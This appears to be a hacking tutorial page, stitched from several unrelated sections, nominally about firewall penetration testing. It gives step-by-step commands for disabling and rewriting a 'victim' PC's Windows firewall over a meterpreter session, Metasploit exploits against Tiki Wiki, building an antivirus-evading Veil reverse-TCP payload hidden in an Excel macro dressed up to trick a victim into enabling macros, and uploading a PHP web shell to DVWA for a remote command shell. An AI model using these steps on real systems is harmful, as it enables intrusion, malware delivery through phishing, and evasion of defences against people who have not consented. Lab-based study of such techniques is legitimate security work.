Firewall Penetration Testing in Remote Windows PC (Part 1)

To play with firewall, we, first, should understand how it works.

Firewall is a network security system designed to prevent unauthorized access to or from a private network. Firewalls can be implemented in varied modes i.e. hardware, software, or a combination of both. There are many types of firewall such as Proxy firewall, Application firewall, Stateful firewall, Packet firewall, etc.

Firewalls are connected to network  and are frequently used to prevent unauthorized Internet users from accessing private networks connected to the Internet, especially intranets ensuring security. All messages entering into or leaving the intranet passes through a firewall, which examines each message and block those which do not meet the specified security criteria.

Firewall is functional on two rules which are always encircled by Inbound and outbound rules:
Inbound rules : These are the ones which filter traffic passing from the network to the local computer based on the filtering conditions specified in the rule.

Outbound rules : These are the ones which filter traffic passing from the local computer to the network based on the filtering conditions specified in the rule.

Both inbound and outbound rules can be configured to allow or block traffic as needed.
In other words we can say that Inbound rules are to do with other things accessing your computer. If you are running a Web Server on your computer then you will have to tell the Firewall that outsiders are allowed to connect to it. Further Outbound rules categorizes some programs to use the Internet yet block others. You will want to let your Web Browser (Internet Explorer, Firefox, Safari, Chrome, Opera...) have an accessibility to the Internet, so a command can be inserted which displays that Windows Firewall is allowed.


Now let us assume that the firewall of the victim's PC is enabled:

First hack The Victim PC read Here


So to turn off the firewall of victim's PC, first of all get a session through meterpreter and then take the administrator privileges of the remote PC. Move on to the shell of remote PC and write

"netsh firewall set opmode mode=disable" to turn off the firewall of remote PC.


And like this, the firewall of remote PC will be disabled.

How to Block Website in Remote PC:
We can not only turn off or on the firewall through metasploit but we can also block and allow the access to any particular port. Yes, that means we can control Inbound and Outbound rules as well. Again after having the session through meterpreter and bypassing administrative privileges and going to the shell of the remote PC just type

 "netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80 action=block".

Here,
Name = The name of the rule. (Pick something descriptive)
Protocol = The protocol we are going to block (UDP or TCP for most cases)
Dir = The direction of the block. Can be IN or OUT
Remote Port = The port of the remote host that is going to be blocked
Action = Could be block or allow. In our case we want to block the connection


Once you execute the above code, all outbound requests to any host on port 80 will be blocked, and it adds an entry to the Windows firewall:


And if you check its properties and click on 'Protocols and Ports' tab then you can see the result.


How to Block Multiple Ports
Now that we have how to block a port in remote PC, let us dig a little deeper i.e we can not only block one port but also two or more than two. And to block two to more port again take a meterpreter session as well as administrator privileges of the remote PC and just write
"netsh advfirewall firewall add rule name="Block Ports" protocol=TCP dir=out remoteport=80,443 action=block"


Once you execute the above code, all outbound requests to any host on port 80 will be blocked, and it adds an entry to the Windows firewall:


And if you check its properties and click on 'Protocols and Ports' tab then you will find that now it has blocked both port 80 and port 443:


Now, by blocking ports 80 and 443 we have blocked the HTTP and HTTPS services on the remote PC and so our victim will not be able to access any website. And the following error is displayed :



Hack Web Server using Tiki Wiki Unauthenticated File Upload Vulnerability


Exploit Targets
Tiki Wiki 15.1

Requirement
Attacker: kali Linux
Victim PC: Tiki Wiki 15.1


Open Kali terminal type msfconsole


msf exploit (tikiwiki_upload_exec)>set targeturi /kiki/
msf exploit (tikiwiki_upload_exec)>set rhost 192.168.0.11 (IP of Remote Host)
msf exploit (tikiwiki_upload_exec)>exploit          

Hack Windows PC using MSoffice and Veil payload

Veil-Evasion is a powerful tool to generate payload executables that bypass common antivirus solutions.
To install veil-evasion on your kali linux, type :
apt-get install veil-evasion
 After the installation completes, run veil-evasion with the following command on terminal, in the installed directory of veil-evasion:
veil-evasion

To see the options of payloads type list


We can see a menu of the available payloads to use. There are plenty of payloads to use.


We will be using the payload id-24. We type the command:
use powershell/meterpreter/rev_tcp
After that set local host(Your PC’s IP). In my case it is 192.168.0.122. Hence:
set lhost  192.168.0.122
set lport 4444
And then generate the payload:
generate


Enter the name of file. Let the name of file to be generated be demo. Therefore;

>demo


Now, the Veil-Evasion tool has created a bat file in powershell code in the directory:
/var/lib/veil-evasion/output/source/demo.bat
Now, open a new terminal and open veil-evasion again( using command 'veil-evasion') and then type:
use auxiliary/macro_converter
macro_converter converts the bat file into a readable txt file. Under this, type the following commands to generate a txt file:
set POSH_BATCH /var/lib/veil-evasion/output/source/demo.bat
generate


This generates a txt file in /var/lib/veil-evasion/output directory.


Copy the code written in the generated txt file.
Now open windows->New Microsoft  Office Excel Worksheet->view(on the top bar)->macro


Then in the Macro editing area(or the workbook) copy paste the code present in “demo1.txt” to the workbook and save macro.


Now, edit the Microsoft excel worksheet so as to make it look authentic and edit it in such a way that the victim should definitely enable Macro option( given it is disabled).

Just for the case of simplicity and tutorial, I enter something random and save it as Microsoft Excel document 97-2003.

Now, all you have to do is wait for the victim to open the Excel file and enable Macros option.


Meanwhile, go to Kali Linux terminal and open metasploit framework(>msfconsole) and type the following commands:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.122
set lport 4444
exploit


Voila! As soon as victim opens the File and enable Macros option, we get a working meterpreter session.

Hack Web Server using PHP Command Injection (Smplshllctrlr)

Smplshllctrlr is a PHP Command Injection exploitation tool so for demo we will be using DVWA (Damn Vulnerable Web App).
1.) Exploit web page and upload simple-shell.php (or simply find an existing exploitable command injection).
2.) Execute the controller to exploit the command injection vulnerability. The controller is simply a command injection exploitation tool, and can therefore with a few adjustments be rewritten to exploit already existing vulnerabilities without the need for uploading the 'simple-shell.php'.
Here we will be exploiting the File Uploading vulnerability in DVWA by uploading a custom shell and executing it.
First clone the github repo with command:
And now give the script permission to execute by entering in the cloned folder and executing command:

chmod +x simple-shell-controller.py


Now open up DVWA in your browser and open up the upload vulnerability tab from where we will upload our reverse shell named simple-shell.php to gain a reverse shell.


Now click on Browse button and select the simple-shell.php present in the cloned folder of smplshllctrl .


Now click on upload to upload the shell to server.


After uploading the shell it will tell us the path of the uploaded shell as ../../hackable/uploads/simple-shell.php.


Now run the following command:
python simple-shell-controller.py  --url “http://192.168.222.1/dvwa/hackable/uploads/simple-shell.php” 
As you can see it has successfully returned a command shell.
Here --url is the url of uploaded shell in the previous step. 

Exploit Remote Server using Tiki-Wiki CMS Calendar Command Execution


Exploit Targets
tiki-wiki 14.1

Requirement
Attacker: kali Linux
Victim PC: Linux,Windows


Open Kali terminal type msfconsole


msf exploit (tiki_calendar-exec)>set targeturi /tiki
msf exploit (tiki_calendar-exec)>set rhost 192.168.0.110 (IP of Remote Host)
msf exploit (tiki_calendar-exec)>set username admin
msf exploit (tiki_calendar-exec)>set password raj123
msf exploit (tiki_calendar-exec)>exploit